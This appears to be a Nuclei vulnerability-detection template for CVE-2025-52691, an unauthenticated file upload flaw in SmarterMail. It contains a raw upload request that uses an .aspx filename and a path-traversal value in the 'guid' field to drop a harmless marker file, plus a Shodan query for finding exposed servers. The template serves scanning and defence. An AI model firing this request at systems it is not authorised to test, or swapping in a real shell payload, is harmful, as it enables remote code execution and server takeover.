SmarterMail - Unrestricted File Upload

id: CVE-2025-52691

info:
  name: SmarterMail - Unrestricted File Upload
  author: DhiyaneshDK,watchTowr
  severity: critical
  description: |
    Mail server contains an unrestricted file upload vulnerability allowing unauthenticated attackers to upload arbitrary files to any location, potentially enabling remote code execution.
  impact: |
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update to the latest version of the mail server.
  reference:
    - https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
    - https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-124/
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SmarterMail"
  tags: cve,cve2025,smartermail,file-upload,intrusive,rce,kev,vkev

variables:
  rand_string: '{{to_lower(rand_text_alpha(6))}}'
  file_name: '{{to_lower(rand_text_alpha(6))}}'

http:
  - raw:
      - |
        POST /api/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="context"

        attachment
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="resumableIdentifier"

        fakeID
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="resumableFilename"

        {{file_name}}.aspx
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="contextData"

        {"guid":"dag/../../{{rand_string}}"}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="whatever"; filename="{{file_name}}.jpg"

        Detection Artifact Generator
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"fileName":'
          - '{"key":'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022053050160f6e64ebd3cf5d8cdae07886aebee8f8cb001fb93801a390bec1f32930220526826a2b8a384cc2371de5d5e65d883885438192140b56df9423190fa0f13bc:922c64590222798bb761d5b6d8e72950